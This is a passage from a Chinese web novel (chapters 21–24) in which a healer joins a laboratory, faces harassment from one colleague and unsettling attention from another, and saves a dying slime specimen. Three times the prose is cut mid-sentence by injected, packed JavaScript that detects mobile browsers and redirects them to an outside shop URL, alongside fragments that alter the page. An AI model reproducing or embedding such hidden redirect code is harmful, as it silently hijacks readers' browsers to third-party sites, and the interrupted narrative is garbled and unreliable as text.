他快步走到桌前,拿起那束玫瑰花,脸上闪过一丝慌乱,随即强装镇定地解释:“啊……这应该是……是其他同事给您准备的入职礼物!您知道的,我们实验室很少来新同事,尤其是像您这样的……高潜力异能者,大家都很欢迎您。” 他说得磕磕巴巴,眼神有些闪烁,显然自己都不太相信这个解释。 方叙白的目光落在那束玫瑰花上,花瓣红得像血。 他沉默了几秒:“玫瑰花……也是吗?” 在这个连正常植物都罕见的世界里,用这么一束精心打理过的玫瑰花当“入职礼物”,怎么想都透着诡异。 艾登的脸又红了,他把玫瑰花往桌角挪了挪,尽量让它不那么显眼,支支吾吾地说:“应、应该是……有人特意准备的吧,想给您个惊喜。” 他不敢看方叙白的眼睛,生怕被看出破绽。 其实他心里清楚,实验室里那些人大多是博格教授的忠实追随者,对新来的人向来冷漠,更别说送什么礼物了。 这束玫瑰花,还有桌上这些东西,一看就是别有用心。 “您先整理一下,我去给您拿入职需要填的表格。”艾登只想赶紧逃离这个尴尬的场面,他报出一串数字,“这是我的私人联系方式,如果您有任何问题,随时可以找我,我就在隔壁办公室。” “谢谢。” “不、不客气!”艾登说完,几乎是逃也似的冲出了房间,关门的声音都带着点仓促。 …… 艾登冲出房间,靠在走廊的墙壁上,大口大口地喘着气,心脏还在砰砰直跳。 刚才方叙白问起玫瑰花时,他差点就露馅了。那些东西一看就是科林放的,那个家伙仗着自己是博格教授的早期弟子,在实验室里向来横行霸道,尤其喜欢捉弄新来的人,尤其是长得好看的。 “艾登,跑这么快?” “没、没什么。”艾登平复了一下呼吸,强装镇定。 马克挑了挑眉,走到他身边,用胳膊肘捅了捅他的肩膀,挤眉弄眼地说:“行啊你,平时见了新同事躲都来不及,今天怎么这么热情?不仅亲自带路,还把私人通讯都给出去了?” 艾登的脸颊又有点发烫,他瞪了马克一眼,嘴硬道:“他是博格教授亲自指定的安抚员,身份不一样,我这是按规矩办事。” 马克显然不信,嗤笑一声,“我跟你共事两年,还不知道你?平时除了给教授跑腿,谁的面子都不给。那个新来的……叫方叙白是吧?长得是挺好看,但也不至于让你这么破例吧?” 艾登皱起眉,语气严肃起来:“他会用到我的,不是吗?” 这个实验室里有多复杂,马克应该比谁都清楚。 方叙白看起来那么干净,又没什么背景,肯定会被欺负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306306|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “什么?”马克愣了一下,没明白他的意思。 艾登没再解释,因为他的目光突然被走廊尽头的景象吸引了。 只见科林正堵在方叙白的工位门口,一手撑着门框,身体前倾,不知道在跟里面的人说什么,脸上带着油腻的笑容,眼神色.眯眯的,一看就没安好心。 而方叙白站在他面前,背对着走廊,看不清表情,但肩膀紧绷着,显然很不舒服。 “你看。”艾登的声音沉了下来,快步朝着那边走去,“就比如现在。” …… 方叙白正试图将桌上的东西挪开一点,给自己腾出一块能放胳膊的地方,就听到门口传来一阵轻佻的口哨声。 他抬头,看到一个穿着白色研究服的男人正堵在门口,身材高胖,脸上带着油腻的笑容,眼神肆无忌惮地在他身上扫视,尤其在他的头发和脸上停留了很久,看得他浑身发毛。 “哟,新来的安抚员?是个美人胚子。”男人吹了声口哨,语气轻佻,“我叫科林,以后就是同事了,有什么不懂的,尽管来问我。” 他一边说,一边抬脚走进房间,故意靠近方叙白,身上一股劣质花香混合着消毒水味扑面而来。 “谢谢,不用了。”方叙白的声音很冷,这男的什么表情…… 如果不是现在在实验室,他新工作第一天,他会选择扇这人一巴掌。 科林却像是没听到一样,反而得寸进尺地又往前走了一步,几乎贴到方叙白面前,语气暧昧:“别这么冷淡嘛。听说你是治愈系异能者?正好,我最近研究的时候不小心被污染物划伤了手,你能不能……帮我看看?” 他说着,故意抬起左手,露出手腕上一道早就结痂的伤口。 方叙白的眉头拧成了疙瘩,胃里一阵翻搅,他猛地侧身,想绕开科林出去,却被对方一把抓住了胳膊。 科林的手很胖,力气却很大,抓得方叙白生疼。 “别急着走啊。”科林开口,“陪我聊会儿天嘛,你刚来,肯定对这里不熟,我可以带你好好‘参观’一下。” 他的手指故意在方叙白的胳膊上摩挲着,眼神里的贪婪几乎要溢出来。 方叙白的身体瞬间绷紧。 “放开我!”方叙白的声音带着压抑的怒火。 “哟,脾气还挺大。”科林非但没放,反而笑得更开心了,“我就喜欢这样的……” “科林!你在干什么!” 科林愣了一下,回头就看到艾登正快步走过来,脸上带着明显的怒气,马克跟在他身后,也是一脸不赞同。 “你小子来干什么?”科林皱起眉,但还是不情不愿地松开了抓着方叙白胳膊的手。 方叙白立刻后退了好几步,拉开距离,低头看了看自己的胳膊,上面已经留下了几道红痕,心里的厌恶更甚。 艾登走到方叙白身边,挡在他和科林之间:“方先生是新来的同事,也是博格教授亲自安排的安抚员,你这样太过分了!” 科林嗤笑一声,不以为意地耸了耸肩,“我只是跟新同事打个招呼而已,你小子紧张什么?难不成……你看上这小子了?” 他的话带着恶意的嘲讽,眼神在艾登和方叙白之间来回扫视。 艾登的脸瞬间涨得通红,又气又急,偏偏嘴笨,说不出什么反驳的话,只能死死地瞪着科林:“你、你胡说八道什么!” 马克赶紧打圆场:“好了好了,科林,别开玩笑了,教授还等着我们交报告呢,快走吧。” “哼,算你运气好。”科林转身悻悻地走了。 22.第 22 章 科林走了,艾登却没有要离开的意思。 他脸上那种局促的、带着点少年气的红晕还未褪尽,棕色的卷发软软地贴在汗湿的额角。 他像是终于鼓起勇气,目光重新聚焦在方叙白脸上,嘴唇嗫嚅着: “方先生,您……您别怕那个科林。”他声音放得又轻又软,带着一种小心翼翼的安抚,“他就是个仗着资历深点就乱来的混蛋!实验室里很多人都讨厌他!您刚来,他肯定觉得您好欺负……您别放在心上!下次,下次他再这样,您直接去找博格教授!或者……或者告诉我!我帮您去举报他!这种骚扰行为,安全区人事部有专门通道处理的!” 他急切地说着。 方叙白心头微微一热,无论如何,艾登此刻的维护是真实的。 他抬起眼,想说一句“谢谢”。 可当他的目光撞上艾登的眼睛后,那声“谢谢”却硬生生卡在了喉咙里。 艾登那双圆圆的、棕色的眼睛正直勾勾地望着他。 正常的交流时,人的眼神会随着话语内容、情绪起伏而转动。 但他的眼神,是一种近乎凝固的、贪婪的……凝视。 艾登的瞳孔专注地锁定在方叙白的脸上,仿佛他是一件摆在玻璃展柜里、精美到令人屏息的瓷器。 那双眼睛一眨不眨,贪婪地描摹着他的眉眼、鼻梁,最终长久地停留在他的嘴唇上,像是要透过皮肤,品尝到更深处的味道。 方叙白的后背瞬间爬上一层细密的冷汗,胃里一阵翻搅。 艾登还在说着什么“安全区条例很严格”、“博格教授最讨厌这种事”、“我一定会帮您”…… 但那些话语像隔着一层磨砂玻璃传来,模糊不清。 方叙白脑子里只剩下那双黏着的、一瞬不瞬的眼睛。 他从未谈过恋爱,对情爱之事懵懂迟钝。 但在那浅薄得可怜的认知里,他模模糊糊地知道……这种眼神!这种贪婪的、带着某种隐秘灼热的、恨不得将他整个吞吃入腹的眼神! 只有一种情况下会出现! 那就是……当一个人,对另一个人,怀有强烈的、无法自控的……爱慕或者情欲之时! 可…… 方叙白感到一阵荒谬绝伦的眩晕。 艾登是男的! 他也是男的! 这他妈到底怎么回事?!这个世界疯了,还是他疯了?! 一股强烈的恶心感混合着冰冷的恐惧,瞬间淹没了他。 “……艾登先生。”方叙白猛地打断艾登的话,声音干涩得厉害,几乎是生硬地扭开了头,避开那令人窒息的视线,“你的好意我心领了。那个……你刚才说,我的工作范畴?主要是熟悉‘缠枝’的资料?具体需要了解哪些方面?有没有什么重点需要提前准备的?” 他必须立刻、马上转移话题! 离开这该死的、令人浑身发毛的“安慰”! 艾登似乎愣了一下,方叙白突然转换话题的举动让他眼中的热度稍稍退去一些,但那股专注的凝视感并未完全消失。 “啊……工作啊……”艾登眨了下眼,似乎有些失望话题被打断,但很快又打起精神,“主要是文献熟悉阶段。博格教授的意思,是让您先对‘缠枝’的历史、特性、能量波动谱系有个初步认知。具体的安抚操作流程,可能要等您适应一段时间,教授会亲自指导您。” 他顿了顿,目光又不自觉地瞟向方叙白柔顺垂落的金色长发,喉结滚动了一下,声音放得更轻:“资料室里相关的档案和电子索引我都整理好了,您随时可以去看……不过今天第一天,其实不着急的。您要是觉得……觉得这边环境有点压抑,或者刚才被科林吓到了,我可以先带您去看看您的职工宿舍?就在实验室附属生活区,环境还不错,挺安静的,可能要暂且和我住在一起。您好休息一下,整理整理东西……” 宿舍? 方叙白的心猛地沉了下去。 又一个封闭的空间?还和艾登一起吗…… 这个念头带来的恐惧,甚至瞬间压过了对科林那个油腻男的厌恶! 他几乎能想象出那个场景。 艾登用同样的、凝固的、带着灼热温度的眼神,站在他所谓的“宿舍”里,说着“您看看还缺什么”、“我帮您整理”、“有什么需要随时叫我”…… 不! 绝对不行! 他为什么要来这里?! 为了那该死的六万八医疗费豁免?为了所谓的安全区核心防护? 代价是什么?! 是面对科林那种赤裸裸的、令人作呕的觊觎! 是忍受艾登这种黏腻得如同毒蛇盘绕、打着“善意”幌子的凝视! 巨大的荒谬感席卷而来。 草。 方叙白甚至觉得,自己或许宁愿回去面对斯莱瑟! 至少那条蛇……在被他明确表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306307|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现出抗拒和不适之后,虽然眼神依旧让他发毛,但最近几天,学会了收敛! 那条冰冷的蛇尾,在被他推开后,至少不敢再肆无忌惮地缠上来! 斯莱瑟的欲望是直白的,是赤裸的,带着异类的冰冷和掠食者的本能,可它至少……是能被震慑、能被暂时约束的! 而眼前这个艾登……这种隐藏在“善意”和“帮助”表皮下的、粘稠又灼热的觊觎,像一层甩不掉的油腻污垢,更让人窒息! “……不用了。”方叙白的声音冷得像冰,“谢谢。我想先看看资料。宿舍晚点我自己过去就行,不麻烦你了。” 艾登脸上那点期待的光芒瞬间黯淡下去,像是被兜头泼了一盆冷水。 他张了张嘴,似乎还想争取一下,但看到方叙白明显疏离的姿态,最终还是把话咽了回去。 “……好吧。”他失落地低下头,“那……那我先去忙了。您有需要……随时联系我。” 他指了指自己胸前的名牌,上面刻着他的名字和一串通讯编码。 方叙白冷淡地点了下头。 艾登在原地踟蹰了几秒,最终也只能一步三回头地离开了房间。 门轻轻合拢,隔绝了艾登的身影。 方叙白紧绷的身体才像突然被抽掉了骨头,猛地松懈下来。 空气里消毒水混合着玫瑰甜腻的香气,熏得他太阳穴突突地跳。 好渴……喉咙干得快要冒烟。 他需要点东西,什么都好,来冲淡这股令人作呕的味道。 他环视一圈,这间狭小的办公室里没有任何饮水设备。 看来想喝水,只能去公共区域。 深吸一口气,方叙白推门走了出去。 走廊空旷寂静,只有他一个人的脚步声在回响。 惨白的顶灯照在光可鉴人的墙壁上,反射出冰冷的光晕。 空气里的消毒水味更浓了。 走廊尽头,靠近巨大落地窗的地方,隐约传来饮水机运作时轻微的嗡鸣。 方叙白快步走过去。 那里果然放置着一台老旧的立式饮水机,旁边是几个一次性纸杯架。 他拿起一个纸杯,弯腰凑到热水出口下方,按下按钮。 温热的水流注入纸杯。 “第一天就惹上科林,还让艾登那小卷毛给你出头。方叙白,你本事不小啊。” 一个声音,毫无预兆地在他身后响起。 23.第 23 章 方叙白猛地转身。 一个人正斜倚在墙壁上,黑发,黑眸。 纯粹的、如同墨玉般的黑。 在这个充满了银发、红发、灰眼、蓝眼等异色特征的污染世界里,眼前这个人,拥有一头利落乌黑的短发。 五官轮廓清晰端正,肤色是健康的小麦色,身材颀长挺拔,穿着和艾登一样的白色研究服,里面搭着一件普通的黑色T恤。 他的名牌别在研究服胸口,但此刻却被有意无意地翻折了过去,看不到名字。 方叙白的心脏剧烈地跳动着。 这是他在这个世界里,除了自己“异变”前的样子,看到的第一个如此接近他前世记忆中熟悉外表的人! “你……认识我?”方叙白稳住心神,警惕地盯着对方。 “方叙白,新来的‘安抚员’,博格教授的‘新宠’。”男人勾起唇角,露出一抹似笑非笑的表情,眼眸在方叙白脸上流转了一圈,带着毫不掩饰的审视,“整个‘源’实验室,还有谁不认识你这张脸?” 他的目光落回他脸上,语气带着点漫不经心的劝诫:“好心提醒你一句,科林是博格早期的弟子,虽然脑子不太好使,但在这片实验田里,也算是个不大不小的‘工头’了。被他盯上的人……” 他顿了顿:“要么被他玩腻了丢进培养皿当肥料,要么……就得学会低头认命,哄他开心。这样,你在这间实验室的路,才会稍微好走那么一点点。” 他伸出修长的手指,比划了一个微乎其微的距离。 方叙白的脸色瞬间变得极其难看。 “凭什么?就因为他是个恶心的同性恋?!就能为所欲为?!” “同性恋?” 黑发男人像是听到了什么极其荒谬的笑话,眉头一挑,发出一声短促的轻笑。 “你这说法……”他歪头,像是在看一个刚刚出土的史前文物,“真有意思。” 他向前倾身,拉近了和方叙白之间的距离。 一股极其干净、没有任何多余气味的、纯粹的、属于人类皮肤和棉质衣物的气息扑面而来。 “在这个鬼地方,”他一字一句,“今天还在纵情享乐的人,明天说不定就烂在哪个污染区的臭水沟里,被最低等的腐肉团当点心啃。谁还有闲情逸致去区分什么‘同性’‘异性’?” “欲望就是欲望。活着的本能罢了。一个漂亮的、看起来干净又好欺负的猎物摆在面前,谁管他是男是女?有机会啃一口是一口。管饱就行,管他明天是死是活?” 方叙白被他话语中赤裸裸的丛林法则震得浑身发冷,下意识地后退了半步。 “但是!”方叙白咬牙,“我管别人怎样!只要别把那些恶心的心思打到我身上!别人爱跟谁睡跟谁睡,是死是活跟我有什么关系?!” “哈。” 又是一声短促的轻笑。 黑发男人眼中那抹玩味的光芒更盛了,仿佛看到了什么极其有趣的、不合时宜的珍宝。 “方叙白,”他念着这个名字,“你真有意思。” 方叙白被他看得浑身不自在。 “不过,”黑发男人似乎欣赏够了方叙白的窘迫,终于收回了那极具穿透力的目光,脸上的玩味淡去,恢复了那种事不关己的平淡,“你大可以放心。” 他侧过身,动作随意地拨开冷水开关。 水流哗哗注入杯中。 “我对你,”他看也没看方叙白,目光落在水面上,“没兴趣。” 他顿了顿,似乎在斟酌措辞。 “硬要说的话……”他端起接满水的杯子,终于侧过头,那双深不见底的黑眸再次掠过方叙白紧绷的脸,嘴角勾起一个极淡的、几乎看不见的弧度。 “我大概……算是‘无性恋’?” 水流声停止。 方叙白紧绷的神经,在听到“没兴趣”三个字时,像是骤然被松开的弓弦,猛地一懈。 就在这时,窗外。 某种极其沉重的、仿佛整个天穹被硬生生撕裂开来的闷响。 他下意识地扭头看向那巨大的落地窗。 外面不再是灰蒙蒙的惨淡天光。 厚重的、铅灰色的云层像是被一双无形巨手狠狠揉碎、搅拌,翻滚涌动着,呈现出一种极其污浊的墨绿色。 天光被彻底吞噬,实验室大楼外那几盏可怜巴巴的景观灯,在这骤然降临的昏暗中,如同即将溺毙的萤火虫,挣扎着发出微弱的惨白光芒。 “滋啦——!” 惨绿色的闪电猛地劈开浓云,瞬间照亮了整个走廊! 紧接着,暴雨倾盆而下! 雨水黏附在玻璃上,却并没有滑落,反而像某种生物分泌的粘液,蜿蜒着、蠕动着向下流淌。 “啧。”身旁传来一声极低的咂舌声。 方叙白猛地转头。 黑发男人微微皱着眉,目光锐利。 “标本库。”男人开口,“我得去一趟。” 方叙白此刻却没听进去什么。 艾登离开后,那种被无形视线包裹的感觉并未消散,反而在寂静中愈发清晰。 他能感觉到,那些在各自操作台前忙碌的身影,那些穿着白色研究服、看似专注的背影,总有一道道余光如同滑腻的触手,悄无声息地缠绕过来,黏在他的头发上、脖颈间、后背上。 然而每当他回头,看到的却只有低垂的头颅。 “喂。”男人眉头习惯性地蹙着,“傻站那儿能看出花来?” 方叙白回过神,“你刚才说……你要去标本库?” 怀景挑了挑眉,似乎对方叙白主动搭话感到一丝意外,但随即又了然。 他点头:“嗯。去看看我负责的那堆‘烂肉’今天又折腾出什么新花样。” “我能……跟去看看吗?”方叙白脱口而出。 话一出口,他自己都愣了一下。这个要求很突兀。但他迫切地需要离开这里,需要一点新鲜的、哪怕是研究“烂肉”的空气。 而且,潜意识里,这个男人身上,有种难以言喻的熟悉感。 是一种模糊、遥远的东西,仿佛在不久前,在某个同样冰冷粘稠的雨天…… “随便你。”怀景没什么表情地点点头,他转身朝另一个方向的走廊走去。 走了几步,他似乎想起什么,脚步微顿,侧过身。 修长的手指从研究服口袋里伸出,拈住了别在左胸位置的名牌一角。 那名牌之前被他随意地翻折了过去,金属夹子卡在布料上。 此刻,他用指腹一捻,“啪嗒”一声轻响,名牌翻转过来,端正地别在了胸口。 方叙白的目光下意识地落在那小小的金属牌上。 怀景 异种生态研究组 - 项目主管 字迹清晰,黑底白字,和他的人一样,透着一种简洁冷硬的气息。 “走吧。”怀景收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306308|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回手,继续前行。 方叙白快步跟上。 两人一前一后,沉默地穿行在金属通道中。 头顶的灯光在湿漉漉的玻璃窗映衬下,显得更加惨淡。 快到实验室主出口了,怀景在一面巨大的落地窗前停下。 外面,雨水如同瀑布,隔绝了视线,将世界切割成碎片。 门口侧边的伞架上,孤零零地只插着一把黑色的长柄雨伞。 怀景没有犹豫,伸手将那把伞抽了出来。 他握住伞柄,很自然地撑开,黑色的伞面“唰”地一声张开,隔绝了上方倾泻而下的灰色雨幕。 他微侧身,将伞面倾向方叙白的方向,一个无声的邀请。 方叙白怔了一瞬,快步走到伞下。 狭窄的空间瞬间被两人占据。 雨水敲打伞面的声音骤然放大,噼啪作响,形成一个小小的、潮湿的声场。 怀景身上那股极其干净的气息……纯粹的、洗干净的棉质布料和实验室消毒剂残留混合的味道 ,在如此近的距离下变得更清晰。 一股难以言喻的熟悉感在这狭小的空间里滋生。 伞下昏暗的光线,雨水带来的粘稠潮湿感,身边人的存在感……这一切都像是激活了大脑深处某个模糊的片段。 方叙白的心脏莫名地跳快了几拍,一种混杂着困惑和说不清道不明情绪的波澜在心底漾开。这感觉……很奇怪,很奇怪。 仿佛在无数个雨夜的梦中,也曾有过这样一个沉默的、撑伞的身影,带来短暂却令人心安的遮蔽。 “研究什么?”方叙白试图打破这微妙的沉默。 怀景的目光平视着前方被雨水冲刷得模糊的道路,喉结几不可察地滑动了一下,似乎咽下了某种微妙的生理性反应,唾液腺的分泌被刻意抑制了。 他开口:“一个异种。比较特别的一种。本体是高度聚合态的能量粘稠体,具有极强的物理可塑性和环境适应力。” 方叙白认真地听着,这些描述让他脑海中不由自主地浮现出一些模糊的画面。 流动的、银色的、巨大的……粘液? “它能在瞬间改变自身形态,模拟周围环境,或者凝聚成具有极强物理强度的攻击、防御结构。”怀景继续说着。 “核心意识隐匿极深,有强烈的领地意识和……呃,‘收集癖’倾向?”怀景停顿了一下,似乎在斟酌更准确的用词,眉头又习惯性地蹙起,“观测记录显示,它对特定频率的能量波动和……特定气息,表现出异常的执着。” 方叙白听得入神,那种熟悉感越来越强烈。 粘稠体、银色、强烈的执着……这些词组合在一起,像一把钥匙,正在试图打开他记忆深处某个角落。 他努力回想,却只抓到一些更加模糊的、带着冰冷滑腻触感的画面。 在这个世界,他真真切切地见过这种东西吗? 怀景用余光瞥了一眼身侧陷入沉思的方叙白。雨水溅起的细小水珠沾湿了他几缕垂在额前的发丝,贴在白皙的皮肤上。 他的侧脸在伞下的阴影里显得柔和而专注,长长的睫毛微垂着,掩盖了那双此刻盛满了困惑的黑眸。 怀景的胸腔深处,一股难以言喻的暖流混合着某种近乎灼烫的渴望悄然涌动,又被强大的意志力强行压下。 他不动声色地调整了一下呼吸,让心跳的频率重新归于平稳。 又见面了啊,妈妈。 24.第 24 章 两人沉默地走了一会儿,终于抵达一栋相对独立的单元楼。 怀景收起伞,甩了甩上面的水珠,在门口的虹膜识别器上验证了身份。 厚重的合金门无声滑开。 “跟我来。”怀景的声音恢复了那种缺乏起伏的腔调。 他领着方叙白穿过几道需要权限验证的气密门,最终来到一个宽敞的观察室。 观察室的一面墙是巨大的强化玻璃墙,里面是一个类似小型生态舱的空间。 舱内环境模拟着某种昏暗潮湿的洞穴,地面覆盖着湿润的苔藓和碎石。 舱内最引人注目的,是几团……形态各异的、半透明的粘稠物质。 它们大小不一,小的只有拳头大,大的则有篮球大小。 颜色也略有差异,有的是浑浊的灰白,有的是黯淡的土黄,还有几团呈现出一种不太均匀的、病态的淡绿色。 它们如同史莱姆般缓慢地在苔藓和碎石上蠕动、流淌,形态不时发生细微的变化,偶尔会伸出几条纤细的、触手般的伪足,探入空气中,又缓缓缩回。 方叙白的目光瞬间被吸引了。 史莱姆! 这个念头无比清晰地跳了出来。虽然颜色不同,但那流动的、粘稠的、无定形的形态,与他脑海中那个印象瞬间重合!他见过!一定在哪里见过类似的形态!是诺卡斯公寓窗外那些扭曲的影子?还是…… “C级衍生物,”怀景走到玻璃墙前,双手插在研究服口袋里,嘴唇轻微绷紧,嘴角向下微撇,“从S级母体样本上周期性分离出来的代谢废弃物,或者……失败的分裂体。活性低,智能基本为零,只有基础的环境适应本能。处理起来很麻烦。” “处理是指……”方叙白心头一紧,下意识问。 “嗯。”怀景应了一声,目光在舱内扫视,像是在寻找什么,“这些废物没什么研究价值,能量活性低,对环境适应力也差,还容易污染其他样本。定期清除是常规流程。” 他的视线锁定在舱内角落里一团体积最小、颜色也最为黯淡、几乎呈现银灰色的史莱姆上。那团史莱姆蜷缩在阴影里,蠕动得非常缓慢,几乎看不出活力,表面甚至有些干瘪。 “比如那个,”怀景抬了抬下巴,指向那团银灰色的史莱姆,“对标准营养基质的耐受性差到了极点,活性持续衰减,按照规程,下一批次处理名单里就有它。‘无害化处理’,通俗点说,就是物理湮灭加高温焚毁。” 方叙白心头莫名地抽了一下。 他看着那团蜷缩在角落、毫无生气、仿佛在无声哀鸣的粘稠体,一种荒谬的同情心不受控制地涌了上来。 它看起来那么弱小,那么无害。 怀景似乎并未察觉到方叙白内心的波澜,他按下了墙上的一个通讯按钮:“准备一下,把C-299号样本取出,送去处理区。” “等等!”方叙白脱口而出。 怀景按着通讯按钮的手指顿住,侧过头,黑眸平静地看向他,带着询问。 方叙白深吸一口气,指着那团史莱姆:“那个……我……我能看看它吗?就……拿在手里看看?” 他也不知道自己为什么会提出这个要求,或许只是想在这团粘稠体被“处理”掉之前,确认一下那种熟悉的触感? 或许……是那点莫名其妙的同情心在作祟? 怀景沉默地看着他,几秒钟后,他松开了通讯按钮,简短地对通讯器那边说:“取消C-299号处理指令,暂时保留。” 然后他转身走向观察室旁边的一个操作间。 不一会儿,操作间的门打开,怀景走了出来,手上戴着一副半透明的操作手套。 他直接用戴着薄手套的手,像抓起一块湿泥巴一样,随意地将那团蔫蔫的史莱姆抓了出来。 “给。”怀景走到方叙白面前,很自然地将那团冰凉、滑腻、毫无反抗力的史莱姆塞到了方叙白手中。 “C级废品,不值钱。这种衍生物实验室每天能分离出几十个。” 方叙白下意识地用双手捧住。 那团史莱姆入手冰凉、湿滑,带着一种奇异的弹性。 它的体积比想象中要小很多,只有成年男人的拳头大,捧在手里轻飘飘的。 颜色是黯淡的银灰,表面微微起伏,但非常微弱,像一颗即将停止跳动的心脏。 在接触到方叙白掌心的瞬间,那微弱的起伏似乎停滞了一下,整个团块向内收缩,仿佛在害怕。 一种难以言喻的、带着点悲悯的感觉涌上方叙白的心头。 本能地,方叙白尝试着调动起体内那股微弱的能量。微弱的治愈能量,通过掌心注入这团史莱姆中。 奇迹发生了。 原本蔫蔫的、几乎停止蠕动的史莱姆,在接收到那股能量的瞬间,剧烈地颤抖了一下! 紧接着,它黯淡的表面,以肉眼可见的速度泛起了一层极其微弱、却真实存在的、宛如呼吸般明灭的银光! 它整个团块仿佛被注入了新的生命,不再向内蜷缩,而是缓缓地、舒展地摊开在方叙白的手心里,如同找到了最舒适的温床。 方叙白惊讶地看着掌心的变化。 “呵。” 是刻意夸大的惊叹声。 方叙白抬头,只见怀景正看着他,不,是看着他掌心的史莱姆。 他脸上的表情第一次出现了明显的变化,眉头舒展,那双深邃的黑眸微微睁大了一些,嘴角勾起一个极其明显的、带着“惊喜”意味的弧度。 怀景只认真想了一下,便将颧大肌、提口角肌协同收缩。 不过这种“惊喜”在方叙白看来,似乎……有点过于刻意了? 像是一个演员在舞台上恰到好处地表现出的情绪。 “果然,”怀景的语气带着一种“果然如此”的了然,目光灼灼地落在方叙白脸上,“你的异能果然很特殊。对这类低等异质生命体竟有如此显著的安抚效果。看来博格教授的‘缠枝’项目,确实找对人了。” 他顿了顿,视线重新落回那团在方叙白掌心安然散发着微弱银光的史莱姆上: “如果喜欢,这个废品……你可以带走。” 方叙白怔怔地看着掌心那团史莱姆。 它不再是刚才那副蔫蔫待毙的模样。 在他无意识注入的治愈能量滋养下,这团粘稠体仿佛被注入了新的生命。 微弱的银光呼吸般在它半透明的体内明灭,它不再向内蜷缩,反而像一块被暖化的软蜡,温顺地摊开在他温热的掌心里,边缘甚至微微向上卷曲,轻轻贴附着他的皮肤。 触感冰凉滑腻,带着一种奇异的弹性,像捧着最上等的凉粉,却又隐隐传递出一种微弱的、依赖般的脉动。 实验室惨白的顶灯照下来。 方叙白的心跳莫名地漏了一拍。 这种微弱的生机,这种仿佛能感知到他存在的反应……它真的只是“废品”吗? 它会不会……也有某种形式的感知? “喜欢的话,可以带走。”怀景再次重复。 方叙白猛地抬头看向怀景。 带走?这团实验室的“废弃物”?这太荒谬了。它是什么?一个活物?一个实验样本?一个需要特殊环境维持的异种衍生物?他连自己都还没安置好,拿什么养它?而且…… “实验室……不会有规定吗?这种样本能随便带走?”方叙白犹豫着问。 怀景的眉头几不可察地蹙了一下,几乎是在方叙白话音落下的瞬间。 方叙白捕捉到了这极其短暂的表情变化,这是一种近乎本能的、被意外打断的错愕。 就像是精密运转的机器突然卡顿了一个齿轮,怀景那双深不见底的黑眸深处,掠过难以理解的停顿。 仿佛方叙白的问题触碰到了某个预设程序之外的分支,让他需要重新计算路径。 但异样转瞬即逝。 怀景的嘴角随即向上弯起一个恰到好处的弧度,笑容温和平静,驱散了那瞬间的凝滞。 “规定?”他重复了一遍这个词,语气里带着一丝不易察觉的、近乎宽容的嘲弄,“对于C-299这种级别的废弃物,规程就是‘处理’。带出去和丢进焚化炉,本质上没有区别,只是前者……” 他顿了顿,目光落在方叙白掌心那团散发着微弱银光的粘液上,“似乎能让它多‘活’一段时间,也省去了实验室的处理流程。双赢。” 他的解释听起来合情合理,无懈可击。 方叙白的心却揪紧了。 焚化炉……冰冷的金属,灼热的高温,将这团刚刚在他掌心焕发生机的小东西彻底化为灰烬? 他手指无意识地在那团银灰色的表面轻轻碰了碰。 冰凉滑腻的触感下,似乎能感觉到一种微弱却清晰的回应。 它在他触碰的地方微微凹陷下去,随即又缓慢地“涌”回来,轻轻包裹住他的指尖,动作轻柔得像是一声无声的叹息。 这很难不让他想起前世养过的一只小狗。 那是一只流浪的小土狗,方叙白在街角捡到的。 它也是这样,湿漉漉、脏兮兮、瑟瑟发抖,用一双湿漉漉的眼睛望着他。 他把阿黄带回了自己狭小的出租屋,用毛巾擦干,喂它温热的牛奶。 它也是这样,很快就不再瑟缩,会用湿热的舌头舔他的手指,会蜷缩在他脚边,发出满足的呼噜声。 那是方叙白孤身打拼的岁月里,为数不多的慰藉。 这团史莱姆…… 和阿黄一样,弱小、无助,被命运推到了“处理”的边缘。 而它似乎……能感知到他?它对他能量的回应,它此刻的温顺……这仅仅是本能,还是……某种极其初级的智慧?一种求生的意志? “它……”方叙白的声音有些干涩,“它好像……能感觉到我?它是不是……不想死?” 这个念头说出来他自己都觉得荒谬。 对一个异种衍生物谈“不想死”? 怀景静静地注视着他,看不出情绪。 过了几秒,他点了点头:“C级衍生物的核心意识几乎可以忽略,但它们对环境刺激有基本的应激反应。你的能量对它而言是良性的‘食物’和‘稳定剂’,它亲近你是趋利避害的本能。但‘不想死’……这个定义过于拟人化了。对它们而言,存在的意义就是遵循主意识,设定的程式,直到能量耗尽或……被清除。” 方叙白抿紧了嘴唇。 “我……”方叙白深吸一口气,做出了决定,“我能带走它吗?需要……办理什么手续吗?” 怀景的嘴角似乎又弯了一下,这次弧度更明显些。“不需要复杂手续。C级废弃物处理清单上划掉一个编号而已。” 他说着,转身走向旁边的储物柜,动作利落地拉开柜门。 